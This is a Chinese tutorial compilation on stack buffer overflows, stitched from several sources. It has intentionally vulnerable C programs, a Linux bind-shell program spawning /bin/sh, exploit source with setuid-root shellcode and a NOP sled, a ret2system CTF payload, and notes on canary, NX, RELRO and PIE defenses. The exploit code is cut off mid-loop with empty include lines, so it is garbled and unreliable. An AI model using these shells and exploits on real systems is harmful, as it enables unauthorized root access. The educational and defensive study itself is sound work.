1

#include <stdio.h>

#define PASSWORD "1234567"

int verify_password (char *password)
{
   int authenticated;
   char buffer[8]; // add local buffto be overflowed
   authenticated=strcmp(password,PASSWORD);
   strcpy(buffer,password); // over flowed here!
   return authenticated;
}
main()
{
   int valid_flag=0;
   char password[1024];
   while(1)
   {
      printf("please input password: ");
      scanf("%s", password);
      valid_flag=verify_password(password);
      if(valid_flag)
      {
         printf("incorrect password!\n\n");
      }
      else
      {
         printf("Congratulation! You have passed the verification!\n");
         break;
      }
   }
}

如果输入的密码超过7个字符，（注意字符串截断符NULL将占用一个字节），则越界字符的ASCII码会修改掉authenticated的值。如果这段溢出数据恰好把authenticated改为0，则程序流程将被改变。

2

#include<stdio.h>
void main()
{
  int i=0;
  int a[]={1,2,3,4,5,6,7,8,9,10};

  for(i=0;i<=10;i++)
  {
    a[i]=0;
    printf("Hello World!\n");
  }
}

这段代码经过VC 6.0编译后，运行，在控制台无限制输出了“HelloWorld!”,

3

#include <stdio.h>  
#include <string.h>  
  
int main(int argc, char *argv[])  
{  
        char buf[32];  
        FILE *fp;  
  
        fp = fopen("bad.txt", "r");  
        if (!fp) {  
                perror("fopen");  
                return 1;  
        }  
  
        fread(buf, 1024, 1, fp);  
        printf("data: %s\n", buf);  
  
        return 0;  
}

代码有明显的溢出问题，在栈上定义32个字节的字符数组，但从bad.txt文件可读出多达1024个字节。
尝试修改EIP，控制执行路径
buf数组溢出后，从文件读取的内容会在当前栈帧沿着高地址覆盖，而该栈帧的顶部存放着返回上一个函数的地址(EIP)，只要覆盖了该地址，就可以修改程序的执行路径。
为此，需要知道从文件读取多少个字节，才开始覆盖EIP。一种方法是反编译程序进行推导，另一种方法是基测试的方法。

4

(Linux)
绑定端口shellcode的逻辑很简单：打开socket，然后绑定到端口，等待远程进行链接，链接到后将0/1/2描述符都复制该socket上，再启动一个shell。 

#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int sock, cli;
struct sockaddr_in serv_addr;

int main()
{
serv_addr.sin_family  = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0xAAAA;

sock = socket(2, 1, 0);
bind(sock, (struct sockaddr *)&serv_addr, 0x10);
listen(sock, 1);
cli = accept(sock, 0, 0);
dup2(cli, 0);
dup2(cli, 1);
dup2(cli, 2);
execve("/bin/sh", 0, 0);
}

5

/* buffer overflow example by watercloud@xfocus.org */
#include<stdio.h>

void why_here(void) /*这个函数没有任何地方调用过*/ 
{ 
printf("why u here ?!\n");
 _exit(0);
}

int main(int argc,char * argv[])
{
 
int buff[1];
 
buff[2]=(int)why_here;
 return 0;
}

在命令行用VC的命令行编译器编译(在Linux 下用gcc 编译并运行也是同样结果）：
仔细分析程序和打印信息，你可以发现程序中我们没有调用过why_here 函数，但该函数却 在运行的时候被调用了！！ 
这里唯一的解释是buff[2]=why_here;操作导致了程序执行流程的变化。

6

(linux)

/*
* 文件名 : myex.c
* 编译 : gcc -o myex myex.c
*
* 说明 : 这是在virtualcat关于如何编写Linux下的exploit程序介绍中用来攻击
* 有问题的程序p的程序示范源代码
* 有关程序p的源代码请参见同一文章中的p.c
* 如果有什么问题, 请与virtualcat联系: virtualcat@hotmail.com
*
* 这个程序要求把相应的宏 ESP_RET_DIFF 的定义改为 -116到 -16之间的值才能正常工作,
* 不然的话, 要通过命令行参数来进行调整, 原因请参见见文章中的分析.
*
* 此程序在Redhat 6.2 Linux 2.2.14-12 上调试通过.
*
*/
#include 
#include 
#include 
#include 
#define RET_DIS 14 // Displacement to replace the return address
#define NOP 0x90 // Machine code for no operation
#define NNOP 100 // Number of NOPs
#define ESP_RET_DIFF 0 //--> Need to apply an appropriate value here. (-60 shoul work)
char shellCode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
"\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
int get_esp()
{
    __asm__("mov %esp, %eax");
}
int main(int argc, char **argv)
{
    char* charPtr = NULL;
    char* bufferPtr = NULL;
    int* intPtr = NULL;
    int shellCodeLength = strlen(shellCode);
    int bufferSize = RET_DIS + NNOP + shellCodeLength + 1;
    int retAddr = 0;
    int adjustment = 0;
    int i;
    int esp = get_esp();
    if(argc >= 2)
    {
        adjustment = atoi(argv[1]);
    }
    retAddr = esp + ESP_RET_DIFF + adjustment;
    bufferPtr = (char *) malloc(bufferSize);
    if(bufferPtr != NULL)
    {
        /* Fill the whole buffer with 'A' */
        memset(bufferPtr, 0x41, bufferSize);
        /* Butt in our return address */
        intPtr = (int *) (bufferPtr + RET_DIS);
        *intPtr++ = retAddr;
        charPtr = (char *) intPtr;
        /* To increase the probabilty of hitting the jackpot */
        for(i=0; i

shellcode即我们要获得超级权限的shell的一段代码。我们的目的就是
想让main函数调用vulFunc以后返回到shellcode的首地址处，接着执行我们的shellcode，如果能达到这个目的的话，那我们的攻击也就完成了。
这段代码的核心就是填充bufferptr所指向的buffSize个内存块。
可以看到执行后的id变为root，得到超级权限的shell了，

缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上。

理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符，但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配，这就为缓冲区溢出埋下隐患。

缓冲区溢出有堆缓冲区和栈缓冲区溢出，二者有些不同，大部分情况下都是讨论栈溢出。

1.原理

1.1 函数调用栈情况

程序运行时，为了实现函数之间的相互隔离，需要在调用新函数时保存当前函数的状态，这些信息全在栈上，为此引入栈帧。每一个栈帧保存者一个未运行完的函数的信息，包括局部变量等等。栈帧的边界由ebp/rbp（栈底指针）和esp/rsp（栈顶指针）确定。

先看一看函数调用时的栈情况，以func1调用func2为例。假如func2有2个形参。

当func1调用 func2会执行如下汇编码

push arg2
push arg1
call func2
add esp, 8

一般一个函数（func2）的起始和终止汇编代码会有如下操作

push ebp
mov ebp, esp
sub esp, xxx
...
mov esp, ebp
pop ebp
retn

func1调用func2之前，栈中只有func1的局部变量。

• 执行call指令前，func1将func2的2个参数压栈，此时ebp在func1局部变量之下，esp指向func2的第一个参数arg1。
• 之后执行call指令，将程序下一条指令的eip（add esp,8）压栈，跳到func2。ebp不变，esp指向返回地址。
• 之后跳到func2指向push ebp，func1的ebp被压栈。ebp依旧不变。
• 执行mov ebp, esp。此时func2的ebp指向的是func1的ebp。
• 执行sub esp, xxx，扩充栈空间，给局部变量清出空间。
• 执行mov esp, ebp，销毁func2栈帧，再执行pop ebp。恢复func1的ebp。此时retn弹出func1的 eip（func2的返回地址）并回到func1继续执行。
• 回到add esp, 8指令。清除func2的2个参数，此时栈中只剩func1局部变量。

func2执行完sub esp, xxx后整个栈空间布局如下，此时ebp指向的是func1的ebp。从func2返回地址到func1的局部变量都属于func1的栈帧。

1.2 缓冲区溢出

void function(char *str) {    
	char buffer[16];   
	strcpy(buffer,str); 
}

上述代码从str向buffer复制数据，当str长度超过16时，就会溢出。问题根源在于strcpy没有限制复制数据长度，存在类似的问题还有strcat()，sprintf()，vsprintf()，gets()，scanf()等。

不过随便溢出并不能造成很大的危害，不能达到攻击目的。所以一般攻击者需要利用缓冲区溢出漏洞运行危险函数（比如system("/bin/sh");）获取对面shell。

2.攻击方式

2.1 利用shellcode

将希望执行的指令输入到栈空间中，利用跳板指令jmp esp执行。jmp esp在user32.dll中可以找到。

正常情况下，栈空间内容为（从上到下增长）

现在存在溢出风险的缓冲区在栈变量中，那么想执行shellcode应该怎么做呢？如何利用jmp esp呢？

一般来说函数调用最后几句有

pop ebp
retn(或pop eip)

retn之后esp指向函数形参，而eip此时假如指向esp，那么cpu就会来函数形参区取指令。就可以通过 (栈变量 + ebp + jmp esp指令地址 + shellcode)这样的组合payload，一路覆盖栈变量，ebp，返回地址和函数形参。即返回地址用jmp esp的地址取代。 jmp esp在动态链接库里有出现，其地址需要搜索下。

2.2 跳到其它函数

假如源代码中存在可以利用的函数，比如如下代码

#include<stdio.h>
#include<string.h>

void copyout(const char *input)
{
    char buf[10];
    strcpy(buf, input);
    printf("%s \n", buf);
}

void bar()
{
    system("/bin/sh");
    printf("hacked done\n");
}

int main(int argc, char *argv[])
{
    copyout(argv[1]);
    return 0;
}

源代码会执行main->copyout，copyout中存在缓冲区溢出漏洞，此时只要将copyout的返回地址替换成bar的起始地址就行。

执行copyout时，栈空间如下

输入的input只要能把ebp覆盖并把返回地址替换成bar的起始地址就行，不需要考虑参数。

2.3 其它情况

理想很丰满，现实很骨干，一般代码往往不会有system("/bin/sh");摆在一个函数内部，所以需要自己构造。

当代码中引入了system函数时，可以利用system函数来构造，比如攻防世界level2，plt表有system，这里system地址为0x08048320（是_system不是system），可以用来当返回地址，接下来还需要/bin/sh字符串。

/bin/sh地址是，0804A024（data节）

漏洞函数如下
这个函数栈如下

payload就是要将返回地址变成system的地址，并且还附上参数的地址。完整的payload应为（'a' * (0x88 + 0x04) + p32(system) + p32(0) + p32(bin_sh)）

• 0x88和0x4覆盖buf和ebp，随意设置就行
• p32(system)为system函数地址，0x8048320
• p32(0)为system返回地址，随意设置就行
• p32(system)为/bin/sh地址，0804A024

当然，有时候system，/bin/sh都不会出现。这个时候只能通过plt表构造了，一般可执行文件都会引入动态链接库，read,write,printf等系统函数都会引入，而这些函数在动态链接库里的相对位置不变，所以可以通过它们的地址获取system的地址。

获取system地址之后，/bin/sh一般也在动态链接库里有，此时就可以构造payload了。或者修改某个函数的got地址，比如把printf换成system，把printf输出的可控参数输入成/bin/sh。（这个不一定每次有用，首先printf调用和system调用的参数要一致，其次，参数属于输入参数）。当然，这些操作也更加复杂。

3.防护

转自：缓冲区溢出保护机制

3.1 canary(栈保护)

栈溢出保护是一种缓冲区溢出攻击的缓解手段，当函数存在缓冲区溢出攻击漏洞时，攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。

当启用栈保护后，函数开始执行的时候会先往栈里插入cookie信息，该cookie往往放置在ebp/rbp的正上方，当函数真正返回的时候会验证cookie信息是否合法，如果不合法就停止程序运行。

攻击者在覆盖返回地址的时候也会将cookie信息给覆盖掉，导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

添加canary后依旧有机会通过格式化字符串漏洞或者整数溢出修改返回地址。

3.2 NX

NX即No-eXecute（不可执行）的意思，NX的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，主要用来限制shellcode执行。

等同于Windows下的DEP。

gcc编译器默认开启NX选项，通过-z execstack可以关闭NX。

3.3 RELRO

在前面描述的漏洞攻击中曾多次引入了GOT覆盖方法，GOT覆盖之所以能成功是因为默认编译的应用程序的重定位表段对应数据区域是可写的（如got.plt），这与链接器和加载器的运行机制有关，默认情况下应用程序的导入函数只有在调用时才去执行加载（所谓的懒加载，非内联或显示通过dlxxx指定直接加载），如果让这样的数据区域属性变成只读将大大增加安全性。RELRO（read only relocation）是一种用于加强对 binary 数据段的保护的技术，大概实现由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读，设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号，从而减少对GOT（Global Offset Table）攻击。RELRO 分为 partial relro 和 full relro。

开启RELRO后不可修改got表

3.4 PIE

Position-Independent-Executable是Binutils，glibc和gcc的一个功能，能用来创建介于共享库和通常可执行代码之间的代码。

标准的可执行程序需要固定的地址，并且只有被装载到这个地址才能正确执行，PIE能使程序像共享库一样在主存任何位置装载，这需要将程序编译成位置无关，并链接为ELF共享对象。

引入PIE的原因就是让程序能装载在随机的地址，从而缓解缓冲区溢出攻击。